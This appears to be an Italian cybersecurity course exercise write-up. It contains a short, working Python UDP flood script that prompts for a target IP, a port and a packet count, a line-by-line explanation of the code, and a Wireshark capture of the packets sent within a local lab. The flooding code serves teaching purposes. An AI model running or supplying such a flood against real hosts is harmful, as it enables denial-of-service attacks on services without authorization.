

Traccia:

Gli attacchi di tipo Dos, ovvero denial of services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende.

L'esercizio di oggi è scrivere un programma in Python che simuli un **UDP flood**, ovvero l'invio massivo di richieste **UDP** verso una macchina target che è in ascolto su una porta UDP casuale.

Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target.
- Il programma deve richiedere l'inserimento della porta target.
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto
- **Suggerimento:** per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare.

3

```
C: > Users > Daenerys > Downloads > prove test venerdi.py > ...
1  import socket, random
2
3  # chiediamo all'utente di inserire l'ip target
4  SRV_ADDR = (input("Inserisci l'IP target: "))
5
6  #chiediamo all'utente di inserire la porta target
7  SRV_PORT = int(input("Inserisci la porta target: "))
8
9  #Immettiamo ip e porta nella variabile
10 bersaglio_address = (SRV_ADDR, SRV_PORT)
11
12 # Creazione di un socket UDP
13 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
14
15 #chiediamo all'utente quanti pacchetti vuole inviare
16 numero_pacchetti = int(input("Quanti pacchetti desideri inviare? "))
17
18 #invio pacchetti da 1 KB
19 for _ in range(numero_pacchetti):
20     pacchetto = random.randbytes(1024)
21     s.sendto(pacchetto, bersaglio_address)
22
```

- Come prima cosa importiamo i moduli.
I socket di rete vengono usati proprio per scambiare dati tra due computer > per questo importiamo il modulo socket; il modulo random invece ci serve per andare a creare il pacchetto di 1 KB.
- Chiediamo all'utente di inserire l'IP target e di inserire la porta target.
- Immettiamo l'IP e la porta all'interno della variabile.
- Andiamo a creare un socket UDP > la funzione accetta dei parametri, in questo caso > il primo **AF_INET** specifica che vogliamo un socket che usi IPv4, il secondo **SOCK_DGRAM** invece specifica che vogliamo una connessione UDP.
- Chiediamo all'utente qual è il numero di pacchetti che vuole inviare

- Creiamo il pacchetto da 1 KB con il modulo random.
- E scriviamo il ciclo for per l'invio di pacchetti da 1KB > abbiamo s.sendto > viene utilizzato per inviare i dati.

Ed ecco cosa appare su Wireshark.

Wireshark network traffic capture showing a series of UDP packets. The filter is `_ws.col.protocol == "UDP"`.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
3	0.000020780	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
5	0.000029210	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
7	0.000037150	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
9	0.000044850	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
11	0.000052580	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
13	0.000060190	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
15	0.000070030	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
17	0.000077870	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
19	0.000085620	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
21	0.000093190	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
23	0.000100770	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
25	0.000108320	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
27	0.000115900	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
29	0.000123820	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
31	0.000131530	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024
33	0.000139240	192.168.50.100	192.168.50.100	UDP	1068	52852 → 44444 Len=1024

Frame 3: 1068 bytes on wire (8544 bits), 1068 bytes captured (8544 bits) on interface eth0
 Linux cooked capture v1
 Internet Protocol Version 4, Src: 192.168.50.100, Dst: 192.168.50.100
 User Datagram Protocol, Src Port: 52852, Dst Port: 44444
 Data (1024 bytes)

Packet details for Frame 3:

```

0000  00 00 03 04 00 06 00 00 00 00 00 00 00 00 00 08
0010  45 00 04 1c 83 0a 40 00 40 11 cd ad c0 a8 32
0020  c0 a8 32 64 ce 74 ad 9c 04 08 ea 32 e2 9b f3
0030  14 37 41 0b cc 8f 06 b8 61 bf be 08 13 4f c6
0040  67 75 e9 65 31 e9 92 6e 08 dc a3 17 1b bd b7
0050  55 bf 74 1f c5 53 ab 2d 84 ac f3 2f 7b ca e8
0060  b1 2c d2 b2 76 dc 98 f2 20 88 72 4a 47 b3 87
0070  42 d0 68 6d b3 b2 43 65 5c 4a 83 3c 25 7f 23
0080  bc 85 ce 66 ae 36 0e 04 c3 a0 cd 17 58 16 35
0090  9c e3 ce cf 67 f7 ae b3 99 f6 50 65 f8 41 e7
00a0  75 71 26 1d aa a3 00 28 6c 53 32 db a2 c6 95
00b0  0c ce bb b6 be 72 bb c4 b0 49 db b2 a9 eb 19
00c0  f0 1e e9 71 8f 4d 1a ae d6 46 41 39 e3 e0 b7
00d0  92 89 21 ee 68 32 a5 30 44 05 89 e0 46 0a 0a
00e0  31 38 22 61 fa 7c 67 2c 95 b5 2d fc f9 2c a3
00f0  7c 86 cc 28 ca b4 a0 74 06 2e f7 0a 2c d2 98
0100  e8 61 78 90 a9 01 92 87 0e 53 e4 de e2 ec 3d
0110  27 61 81 86 e3 56 9b b1 b7 cf 0a 0b b0 de fc
0120  91 a4 7a 06 50 8d ad bb 28 f5 bc 1e 34 f8 62
  
```

wireshark_anyWX55I2.pcapng Packets: 101 · Displayed: 50 (49.5%) Profile: Default